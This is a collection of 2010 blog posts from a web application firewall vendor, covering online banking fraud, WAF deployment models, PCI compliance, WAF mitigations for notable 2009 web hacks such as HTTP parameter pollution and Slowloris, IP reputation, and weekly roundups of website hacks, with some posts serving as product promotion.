Submitted by Ryan Barnett 3/23/2010


There have been a number of stories in the past few months that outline a growing trend with cyber-criminals - targeting the online banking accounts of businesses. As the cartoon on the right shows, stealing money from online banks is an optimal choice for savvy cyber-criminals as the yield is potentially very high and the risk of physical harm associated with attempting to rob a brick-and-mortar bank is removed.

Two such stories come from ComputerWorld and outline how two companies had money transferred out of their accounts to foreign countries. The first one tells how the TD Bank account of the town of Poughkeepsie, NY was breached by hackers and approximately $378,000 was transfer out of the account. The other example describes how Plano, TX Hillary Machinery Inc had approximately $800,000 transferred from its PlainsCapital online account.

So, how were the cyber-criminals able to obtain access to these online bank accounts? Details are scarce however it appears that the criminals used valid credentials. A likely source would be a Man-in-the-browser (MitB) type of attack from something like Zeus which infects client computers and monitors web activity and can steal and even manipulate web data. Brian Krebs from the Washington Post has been following these trending stories for about 9 months now and this blog post seems to corroborate the attack method of MitB types of malware stealing banking credentials.

From a web application defense perspective, since the attackers used legit credentials during the transactions, other types of fraud/anomaly detection mechanisms should be employed. In both example incidents, the fact that these transactions were initiated from computers in other countries (Itally/Romania) and transferring money to over-seas accounts should have raised some sort of red-flags.

Bottom line - user must take extra precautions when accessing online banking accounts such as not using your standard web browser that you use for web surfing and instead using a sand-boxed web browser sessions (in an application such as VMware).

Applications vs. Automobiles

Submitted by Ryan Barnett 03/22/2010

I funny picture was sent to me through our PR team at Schwartz Communications that made me chuckle. I am sure you have seen traffic light cameras that automatically take photos of the cars that do not obey traffic lights. Well, this photo shows how someone was attempting to abuse the fact that most of these cameras are integrated with computers and presumably back-end databases to automatically generate traffic violation tickets. By placing an SQL query on the front bumper where the license plate would normally reside, the driver of this car may be able to not only evade receiving a ticket but may also delete the entire "tablice" table.
This scenario clearly indicates a growing trend - the inter-connectedness between applications and automobiles.
Another recent news story that echoes this trend is found in a recent WASC WHID entry where an attacker was able to hack into his former employer's web application that communicated with systems installed on leased cars. This software was able to either prevent cars from starting or force the car horn to beep repeatedly if the car's lease payment went past due. The hacker not only destroyed account data but also caused 100+ cars to not start and horns sounding off.
These are fairly harmless impacts but there is an under current for concern that this inter-connectedness between online applications and our physical world is actually quite fragile and must be protected from abuse.

Inline vs. Out-of-Line WAF Deployments

Submitted by Ryan Barnett 03/16/2010

There was an article that just came out today entitled "Top considerations for selecting Web Application Firewall technology" that I had to comment on. First of all, the title is misleading as a more accurate title for this would have been "Proxy vs. Non-Proxy based WAF deployment models" as the article highlights why they think that a proxy-based WAF deployment is superior to non-proxy ones. Is this really the case? It depends. Each WAF deployment is different base on the use-case. Are you going to use it for virtual patching, http audit logging, tracking sensitive data, application DoS or App Defect identification? All of these scenarios are different and they don't always require an inline, proxy-base deployment model.

It is also important to note that there are hybrid deployment modes available for WAFs which include deploying sensors out-of-line to gather data and then communicating with agent applications installed on specific, individual web servers. The advantage of this approach is that for many large networks, they may only want to use an inline approach for some web applications without incurring the latency hit to other applications.

Keep in mind that this article was written by Evolution PR who represents WAF vendor Barracuda Networks - who does not offer an out-of-line/non-proxy based WAF solution. This makes it a bit more clear as to why they are trying to pitch proxy-based WAF as the only real solution. Breach Security's WebDefend appliance can be deployed in both out-of-line and inline modes so I am not promoting one over the other due to commercial interests. My aim here is to provide counterpoints to the data presented in this article. Let's look at the issues highlighted in more depth.

1. Cloaking

Hackers gather information in order to launch an attack on a Web server by trying to simulate error conditions on a Web site. Often, the resultant error messages expose information about the Web server, application server, or the database being used. This information is then used to launch a full-scale attack on the Web infrastructure.

A proxy-based WAF intercepts the response from the back-end server and forwards it to the client only if it is not an error. If the response is an error, the WAF can suppress the response containing debugging information and send out a custom response. The WAF also removes headers such as server banners, which can be used to identify servers.

The WASC Web Application Firewall Evaluation Criteria (WAFEC) document lists several alternative protection techniques that can be employed. In this section, the article is mainly talking about detailed error leakage prevention which isn't really what is considered web application cloaking. Cloaking involves attempting to obscure or remove tell-tale signs of the web application technology in use. These include encrypting or signing Cookies, URLs and parameter data to prevent tampering. While this is certainly a sexy concept it runs into issues in practice mainly due to the dynamic nature of today's web applications. Accurately parsing outbound response bodies in order to accurately identify/update/sign/encrypt all possible parameter data is not easy. You can thank AJAX, Flash, etc... for that. If is for this reason, that using behavioral profiling of inbound application usage is key.

2. Input validation

A WAF should secure applications where the incoming traffic may be encrypted or encoded using a non-standard character encoding.

A proxy based WAF decrypts and normalises data before running various types of checks, in order to ensure that no attacks are smuggled inside of encrypted or encoded packets. It also offers multiple ways of securing inputs - such as encrypting or digitally signing cookies to prevent against cookie tampering attacks. It can also recognise which fields are read-only or hidden and ensure that these fields are not altered. For other fields, it should offer a host of protection mechanisms such as checking for various attacks on the input fields and locking down those inputs based on data type, such as numeric or alpha numeric.

Non-proxy based WAFs do not provide effective input validation. Although some can encrypt and normalise data, because they are not proxy-based they are not able to enforce rules on individual form parameters passed to the application. They also cannot encrypt or digitally sign the application cookie; relying instead on signature matching for security.

Where to start with this section... First of all, the deployment model in use (inline vs. out-of-line) has absolutely nothing to do with the WAF's input validation capabilities. WAFs can do application profiling/learning and automatically create a positive security profile for URLs+Parameter payloads whether they are proxy-based or not. It is important to note, however, that there is a difference between detection and blocking. This section seems to indicate that non-proxy based WAFs can not detect these types of attacks and enforce input validation and this is not true. Once a violation of the learned profile occurs, however, if you want the WAF to block, then of course an inline WAF can block the request locally.

3. Data theft protection

Proxy based WAFs intercept outbound data, so they can be configured to ensure that sensitive data - like credit card numbers - are either masked or altogether blocked to protect data leakage.

This is only possible because the proxy-based WAF sits in line with the application server and secures data on both incoming and outgoing paths - so this is not offered by non-proxy based WAFs.

Proxy based WAFs do have one advantage when it comes to outbound data handling and that is if the user wants to actually change data on the fly to mask or delete sensitive data and still serve the response to the client. Again, while this sound like a great concept, there are issues in the real world. One specific issue which I have seen is when a WAF sanitized data doing outbound and this caused problems with processing of subsequent requests as this data was used within hidden fields. Remember my point from item #1 above in this regard as accurate parsing of outbound data is oftentimes difficult so properly sanitizing data is challenging as well.

4. Protect against application layer DOS attacks

There are many ways of launching an application layer denial of service attack. Web applications maintain state information - such as the number of items in a shopping cart - with the help of sessions, which require some memory resources on the Web servers. By forcing a Web server to create thousands of session leads, memory resources are locked up and this results in performance degradation and can lead to a server crash.

There are other ways these attacks can be done. The WAF should be able to control the rate at which requests reach the Web server, and track the rate of session creation. This is only possible with a system that proxies on behalf of the Web or application server.

Again - not true. Out-of-Line WAFs are also able to do rate-limiting and identify potential DoS scenarios. Breach Security's WebDefend appliance has Excessive Access Rate Detection capabilities which allow the user to set appropriate Anti-Automation rate-limiting thresholds to prevent brute force, scraping and DoS attacks. In an earlier blog post I also outlined how a WAF can Identify DoS Conditions through Performance Monitoring which helps to identify stealthy attacks that aim to open http connections and then sit idle and tie up processes. Under all of these circumstances, the issue is not about detection but how are you going to react when these attacks are identified. WAFs can choose to issue TCP resets based on increasing granularity: IP addresses, SessionIDs, or specific application usernames. If your site is under a heavy DDoS attack, it is usually appropriate to take evasion actions and actually push out the IP blocking to a network security device at the edge of your network.

5. Centralised security enforcement

The ability to enforce all security policies from a single control point allows for simplified operations and infrastructure. To ensure safer and more efficient security administration, it is advisable that controlling and enforcing attack prevention, privacy (SSL cryptography) and AAA (Authentication, Authorisation, Accounting) policy is done through a single control point.

Because a non-proxy WAF does not terminate TCP connections, it does not have the ability to request credentials from incoming users, issue cookies upon successful credential exchange, redirect sessions to particular destinations, or restrict particular users to particular resources. Proxy-based solutions, on the other hand, have the capability to be an AAA authority - or to fully integrate with existing AAA infrastructure.

Centralization of authentication/authorization mechanism is great from a management perspective but it isn't always appropriate from a WAF perspective. Most web applications handle user authentications themselves and are managed by different business units. Forget about WAFs for a minute - it is a larger undertaking to centralize web application account administration than to try and start this because you are going to implement a WAF. Where this makes sense is if/when you are create more of a portal environment and you want to then broker requests to different internal business units.

6. Control the response

Because of the wide range of security violations, it is important that the administrator is able to respond to threats differently. For example, in many cases it would be best to respond to a violation with a custom message or connection reset, while in others the administrator may want to follow up with the main action directly, with a longer block time.

Only proxy-based solutions are able to offer this sort of flexibility, as non-proxy based WAFs rely solely on sending TCP resets back to the attacker and temporary network ACLs as their protective mechanisms. Attacking packets will make it through to the server, and blocking actions are time-limited.

Don't forget about the hybrid deployment option I mentioned at the beginning which includes adding agents to specific web applications. This section does have a point, however, in that if you want to get more granular with handling custom error messages and redirecting the user under specific circumstances then having an inline WAF provides more options. As far as disruptive actions, out-of-line WAFs are not relegated to only using TCP resets. One interesting reactive action that Breach Security's WebDefend appliance has is called "Application Logout" in which the WAF initiates an http request to the application simulates the client actually logging out. This is similar in theory to doing TCP resets at lower OSI levels where you have to spoof the proper sequence numbers in order to terminate the connections. For the http layer, WebDefend will dynamically insert the proper application SessionID cookie value when submitting the app logout so it appears from the application's perspective that the logout was initiated by the user. Pretty slick. It is quite handy when used under certain policy violations such as suspected Session Hijacking events.

7. SSL architectural considerations

Application attacks use SSL cryptography and common encoding techniques to bypass traditional security measures, and hide their attacks. Proxy and non-proxy WAFs are quite different in the way they handle SSL cryptography and key management.

Non-proxy WAF vendors claim that they also have the technology to 'see' into an SSL encrypted packet as it passes by the non-proxy device. However, because decrypting and analysing the data takes time, by the time the non-proxy WAF is ready to make a decision, the attack will have already reached the back-end servers and completed the transaction.

Proxy based WAFs, on the other hand, are designed to serve as an SSL termination endpoint. Proxies tightly couple TCP, SSL and HTTP termination, giving them complete visibility into application content and allowing them to perform deep inspection on the entire session payload, including headers, URLs, parameters and form fields.

This section brings up and interesting trade-off that all WAF users must deal with - performance/latency of inspection vs. effective blocking. Out-of-line deployments are ideal for the former while inline deployments are the best for the latter. So, which items is more important to you? The second paragraph makes it seems as though out-of-line WAFs can't do the same SSL decryption/inspection and that is false as they can provide the same level of visibility. The issue is with that of latency and if, after inspection, disruptive actions are employed.

8. Accelerate and scale application delivery

It is important that a WAF product does not negatively affect end-user response time. Proxy based firewalls fully terminate the TCP, SSL and HTTP, reducing end user response time. They should be able to cache static content from the application, offloading servers and saving download time; pool TCP connections to the back-end servers and offload SSL processing, thereby reducing server load and end-user response time. Non-proxy based WAF products do not offer these features.

The first sentence is the key from a WAF perspective as all users want to add in the security inspection without negatively affecting end users. If you deploy an out-of-line WAF, then there will be no added performance or latency hit. If, on the other hand, you deploy an inline WAF then there is going to be a negative impact due to the SSL decryption, traffic inspection and probable SSL re-encryption on the back-end. It is for this reason that many inline WAFs have had to add on the application acceleration aspects to attempt to off-set this performance hit. So, you end up having a WAF vendor that is then trying to bolt on ADC types of functions and compete with other vendors who specialize in this space (such as an F5). On the flip side, you have ADC vendors (again like an F5) who specialize in application delivery who try and also bolt on add-on modules to provide web application firewall functionality. The main problem I see on both fronts is that they are going outside of their core competency. When deploying a WAF, it is best to do an architecture review to identify the ideal location for both inspection and blocking of traffic. This may include placing WAFs either before or after existing HTTP Load Balancers. There are benefits of both approaches. From a blocking perspective, an out-of-line WAF has a better chance of terminating a TCP connection if it is deployed directly in front of another layer 7 inspection device. On the performance front - if you can terminate SSL decryption on the load balancers, then placing the WAF behind them will make it more performant.

WAF Virtual Patching Workshop at Blackhat USA 2010

Submitted by Ryan Barnett 03/09/2010

Just wanted to let everyone know that if you are headed to Blackhat USA 2010 this summer in Las Vegas, we have just added a 1-day workshop on the day before the Briefings start -

http://www.blackhat.com/html/bh-us-10/training/bh-us-10-training_RB-WAFVirtPatch.html

In the workshop, we will be mainly discussing the "Virtual Patching" concept of using a WAF (ModSecurity in this case) and we will use the OWASP WebGoat app as the target. In the workshop, we will talk virtual patching theory and then have hands-on labs where we will show how to use Mod to virtually patch the various WebGoat lessons. As a side note - we will also have a section on the new CRS v2.0 when discussing negative security models. So, if you want to come and dive into the deep-end of the pool and have fun using some of ModSecurity's advanced features (such as Lua and Content Injection) then sign-up now!

Brian Rectanus and I hope to see you all in Vegas!!! :)

WAF Virtual Patching Workshop at Blackhat USA 2010

Just wanted to let everyone know that if you are headed to Blackhat USA 2010 this summer in
Las Vegas, we have just added a 1-day workshop on the day before the Briefings start -

http://www.blackhat.com/html/bh-us-10/training/bh-us-10-training_RB-WAFVirtPatch.html

In the workshop, we will be mainly discussing the "Virtual Patching" concept of using a
WAF (ModSecurity in this case) and we will use the OWASP WebGoat app as the target.  In
the workshop, we will talk virtual patching theory and then have hands-on labs where we
will show how to use Mod to virtually patch the various WebGoat lessons.  As a side note -
we will also have a section on the new CRS v2.0 when discussing negative security models. 
So, if you want to come and dive into the deep-end of the pool and have fun using some of
ModSecurity's advanced features (such as Lua and Content Injection) then sign-up now!

Brian Rectanus and I hope to see you all in Vegas!!!  :)

Past the Point of PCI

By: Sanjay Mehta
March 4, 2010

This week’s RSA Conference pinpointed a common problem surrounding PCI compliance: companies treat compliance as a point in time. Specifically, once PCI compliance is “achieved” via an audit or code review, IT professionals move on to the next priority and maintaining compliance is forgotten.

Many companies fail to understand that audits and code reviews are outdated the moment they are completed. Web applications continue to be developed and altered, and as a result, continued compliance can’t be ensured with the “one-time look” that occurs with audits and code reviews. And it would certainly be cost-prohibitive to conduct an audit or review with each application change.

Fortunately, continuous PCI compliance can be achieved using a web application security solution that provides real-time, continuous security for all protected web applications. In addition, Breach WebDefend secures the entire web application, provides factual information on vulnerabilities and serves as a “virtual patch” that protects each application’s vulnerabilities.

In today’s compliance landscape, it’s simply not enough to know that a problem exists. Sophisticated web application security solutions help companies mitigate problems. Organizations need to have a real-time solution – not just a single look in time – to be truly secure and PCI compliant.

Here is more information on how vulnerability scans and code reviews compare to web application firewalls:

Vulnerability Scans and
Code Reviews

  • Looks at one web application at a single point in time.
  • Must be repeated for each application change.
  • May not cover every line of code.
  • Can result in inconsistent findings due to vendor interpretations.
  • Does not fix vulnerabilities that are found.
  • Is expensive.
 vs. Web Application Firewalls

  • Provides real-time, continuous security for all protected web applications.
  • Profiles each application’s acceptable behavior and automatically learns changes.
  • Secures the entire web application.
  • Provides factual information on vulnerabilities.
  • Serves as a “virtual patch” that protects each application’s vulnerabilities.
  • Offers immediate ROI.

Top 10 Hacks of 2009 and WAF Mitigations

Submitted by Ryan Barnett 03/03/2010

Jeremiah Grossman gave his “2010: A Web Hacking Odyssey – The Top Ten Hacks of the Year” talk here at RSA this morning where he presented on the Top 10 Hacks list gathered from readers of his blog. In preparation for his talk, he contacted me and ask if/when/how a web application firewall could be used to help mitigate these issues. What a great question! :) So, in case you were not able to attend his RSA talk today, I am going to outline which items can been addressed by WAFs.

HTTP Parameter Pollution (HPP) Luca Carettoni, Stefano diPaola

I actually had a previous HPP post on my blog and in it I present one approach that a WAF can take to identify potential HPP attacks and that is to learn whether or not having multiple parameters with the same name is normal for the specific URL resource and flagging when duplicates are present. This type of behavioral profiling of requests, that identify request construction deviations, is critical for identifying non-injection types of attacks. Most input validation is done on parameter payloads and not the request as a whole. This helps to identify some HPP attack variants but it does not cover all examples attack vectors from the presentation. For the business logic attacks where a new parameter is added which may alter a mid-tier HTTP request, a learning WAF should flag this as an anomalous parameter. Finally, for HPP attacks that aim to split attack payloads across multiple parameters of the same name in order to bypass negative security filters, the only real way to attempt to identify these attacks is to mimic what the back-end web application will do with the request. In the case of ASP/ASP.NET, the app will take all of the payloads of parameters with the same name and then join them together into one payload (separated by commas). A WAF would need to do this as well and then take the new consolidated payload and run it through the standard security checks looking for attack payloads. As a matter of fact, we have added some experimental rules to the OWASP ModSecurity Core Rule Set Project v2.0.6 to do just this.

Slowloris HTTP DoS Robert Hansen, (additional credit for earlier discovery to Adrian Ilarion Ciobanu & Ivan Ristic - “Programming Model Attacks” section of Apache Security for describing the attack, but did not produce a tool)

The DoS concept behind Slowloris is important as many organizations don't truly understand the threat, how effective it can be and how difficult it may be to identify if you are being hit by it. This is not the typical "flooding" type of attack where the network or web app is being saturated by HTTP requests. In these scenarios, there are other network security/infrastructure devices that may be able to identify and respond. In the case of Slowloris, however, the web app is basically in a holding pattern waiting for the layer 7 HTTP request... So, how can a WAF help? In an earlier post I had entitled "Identifying DoS Conditions Through Performance Monitoring" I outlined how a WAF can help to identify a Slowloris type of attack by monitoring and learning the transactional metrics associated with the website content. Specifically, Breach's WebDefend appliance learns the key metric of how long it takes for a client to complete sending the HTTP request data to each resource. This is graphically displayed in the Performance dashboard and it is easy to visually identify when there are request receiving issues.

On a more tactical note for Apache - it is possible to identify a Slowloris type of attack by doing two things -

1) Decrease the default Apache Timeout directive setting. By default it is set to 300 seconds which makes it quite easy for Slowloris to DoS the site. It should be lowered to something much smaller like 10-30 seconds.

2) Use the httpd-guardian perl script from Ivan Ristic's Apache Security tools package with the ModSecurity SecGuardianLog directive. Having this external application monitoring the Apache logs allows it to identify these automated attacks and issue alerts and/or blacklist rules for IPTables.

Microsoft IIS 0-Day Vulnerability Parsing Files (semi‐colon bug) Soroush Dalili

The concept of Impedance Mismatch is a re-occurring theme with these issues. Correctly parsing uploaded file information can be tricky as you must correctly interpret the file meta-data (such as the filename, etc....) in the same way as the web app. In this particular case, the attacker is tricking the application file uploading resource by appending a bogus file extension after a semi-colon however the IIS server will interpret it as an ASP page and execute it. In this case, a WAF must get the filename parsing correct and enforce allowable character-sets. The second part is to do some actual file upload inspection to identify what the uploaded file actually is. ModSecurity has the @inspectFile operator which will temporarily dump the file attachment to disc and allow for AV scanning or some other custom logic. This can help to verify that the file type is actually what you are expecting.

Exploiting unexploitable XSS Stephen Sclafani

For XSS, it is important to try and identify the root cause of the problem which is web apps that fail to properly track user supplied data and apply appropriate output escaping. From a WAF perspective, it is possible to identify reflective XSS attacks by mimicking the Dynamic Taint Propagation concept of tracking user supplied data and seeing where it is misused. In this case, we want to inspect any request data to see if it might have meta-characters that are used in XSS attacks and then capture the full parameter payloads. We then inspect the response body content to see if the same data is present. If it is, then the application is not properly output escaping user supplied data. I outlined this concept and showed some examples using ModSecurity in a previous Blackhat DC presentation.

Our Favorite XSS Filters and how to Attack them Eduardo Vela (sirdarckcat), David Lindsay (thornmaker)

Ahh, the fine art of filter evasions... Let me be clear, it is not possible to have 100% protection from XSS payloads if you are using only a negative security model approach. There are just too many ways that an attacker can have functionally equivalent code and bypass signatures. The only hope that you really have is when your web application should not accept *any* html data. If your app has to allow html data but you want to filter out malicious payloads, then looking at something like Anti-Samy is a good choice. One important note about filter evasions and XSS - most people believe that if an attacker is able to bypass the filter that he/she wins. In practice, that is not always the case. What I have seen is that the XSS payloads have to be munged up so much in order to bypass the filter that it no longer will execute in a target's browser. In an attempt to improve XSS negative signatures, we launched the ModSecurity CRS Demo page which allows the community to send attacks and see if they can evade the rules. This has been a great research tool to help us to improve our signatures in both ModSecurity and WebDefend.

Protect the Brand, Restore the Trust

By Sanjay Mehta
February 3, 2010

An increase in identity theft and online data breaches, such as the Heartland Payment Systems breach, has left consumers distrusting of online transactions and corporate data security safeguards. This message has resounded in the halls of this week’s RSA Conference.

Many factors contribute to consumers losing faith in the security of online transactions. Broken links, error messages and other web application failures all play a role in a consumer’s online experience with your company. Unfortunately, what many consumers don’t know is that broken links and other failures often provide hackers with code or other information that can be used to capture sensitive cardholder and consumer data for profit. 

This means that web application failures hurt your brand, your customers’ trust and loyalty, and the safety of their sensitive information. Real-time web application security, such as Breach’s WebDefend appliance, enables you to restore consumer trust by not only identifying, but quickly remediating vulnerable web applications. Learn more about protecting your company’s brand from web application threats by downloading this white paper.


IP Reputation and WAFs

Submitted by Ryan Barnett 03/02/2010

In an earlier post I warned against web application security puffery - and it seems as though I am being hit by a tidal wave of it as I sit here at RSA this week... The puffery usually starts off with the phrase "The Industry's first..." and this is rarely the case. In most instances, the concepts/theories of the new features have actually be around and in use by competitors for some time but have not been highlighted by marketing teams with huge conference fanfare and press releases.

The latest example of this is another WAF vendor announcing their reputation-based capabilities. Again - the issue is not that this feature is not useful but rather that it isn't the first in the industry. Breach products have had the capability to do real-time blacklist lookups for years now and it is actually in use as part of the WASC Distributed Open Proxy Honeypot Project. In the honeypot deployments, we are querying the RBLs at SpamHaus to identify SPAMMER source IPs and factoring this into our anomaly scores.

The other "new" WAF industry feature is IP Forensics capabilities which factors in GeoIP data. Once again, Breach products have had automatic GeoIP resolution for quite some time to help provide geographic context to the source of events. Additionally, WebDefend has the capability to customize a 3rd party interface that allows the user to right-click on an event and query an external IP reputation website such as Dshield which provides a much wider view of attack data. The helps to automate an analyst's initial incident response steps to identify if the source of attacks they are seeing is due to random scanning or if perhaps they are being targeted. If Dshield reports a large number of records against the IP then that means that many other networks are reporting attacks from this source. This would indicate that the local event data the WAF is reporting is most likely part of a larger scanning effort. If, on the other hand, Dshield is not reporting any records for the IP, then this might indicate that the local WAF events are part of a targeted attack against your website.

Our Future in the Cloud

By: Sanjay Mehta
March 2, 2010

Cloud computing is a hot topic at this week’s RSA Security Conference in San Francisco. The amount of time the conference has designated to discuss, explore and debate the numerous security issues surrounding cloud computing is proof positive that more business – and supporting technologies – are taking place in the cloud.

But as more business technologies utilize cloud computing, new opportunities have emerged for hackers and cybercriminals to exploit vulnerabilities and profit from business applications using outdated security solutions for protection. In short, the evolution of business technologies using cloud computing means that security solutions must follow suit – now.

Rapidly changing security needs require the benefits and advantages that Software-as-a-Service (SaaS) and cloud computing provides. Security providers that don’t leverage cloud technology are quickly becoming antiquated as all technology – business and security – moves into the cloud.

Using SaaS or cloud computing provides security technology with distinct technological advantages, such as making security updates and code changes instantly available to clients. In addition, new security technology needs to be developed specifically for the protection of business conducted in the cloud. The technology landscape has changed and security needs to keep up by including cloud security needs and requirements at the forefront of the development process.

Breach Security is working with partners, such as Akamai, to provide web application security in the cloud. For example, when deployed with Akamai’s Web Application Firewall service, Breach’s WebDefend Global Event Manager is the first web application security management solution to defend against global application security threats by enabling customers to make distributed cloud and data center defense-in-depth architectures operational.

Breach and Akamai are guarding their clients against security threats in the cloud. Are you protected?


Data Breach Costs Company $23.7 Million

By: Sanjay Mehta
February 1, 2010
The fifth largest payment processing company in the U.S. recently paid a steep price for data leakage. On Feb. 18, Heartland Payment Systems announced a fourth quarter loss, missing Wall Street expectations due to settlement claims over a data breach.

The financial loss was due to Heartland paying charges of $23.7 million related to settlement costs over a late 2008 data security breach on Heartland’s computer network. $23.7 million to Visa credit and debit card issuers…that is a big price to pay.

So what should we learn from this.

  1. The network of cyber-criminals is sophisticated and targeted cyber attacks pose a lethal threat to organizations. 
  2. Online business applications are easy targets. The combination of ubiquitous web access, dynamic web applications, and poor application-specific visibility in most organizations makes for fertile ground for malicious users. 
  3.  Compliance isn’t the answer. Just checking the box and getting sign-off on a PCI ROC (report on compliance) isn’t the answer. Compliance does not lead to a good security posture. The counterpoint however is true. A good security posture will lead to achieving compliance. 
  4.  Defense-in-depth is a must and those layers must include specific and dedicated controls for web applications. The short-cut to compliance can cut both ways. Work with vendors and partners specialized in web application security.

The Heartland breach put the spotlight on PCI Compliance and the severity of financial and corporate brand damage when security systems fail. We don’t need another wake up call.


Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Mar 1)

Submitted by Ryan Barnett 03/01/2010

Hacks
NSW Government alleges transport website hacked - sensitive information leakage.
Argentina Coach Diego Maradona's Website Hacked - defacement
Kosovo’s Presidency Website Hacked - defacement/downtime
National Theatre hack forces password reset - unauthorized access/sensitive data leakage

Attacks
Baidu: Registrar 'incredibly' changed our e-mail for hacker - domain hijacking

Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Feb 22)

Submitted by Ryan Barnett 02/22/2010


Hacks
Hackers Manipulate Grader.com of Twitter - compromised Twitter tools in order to send out SPAM tweets.


Attacks

Vulns

SANS @RISK List
Web Application - Cross Site Scripting
Web Application - SQL Injection
Web Application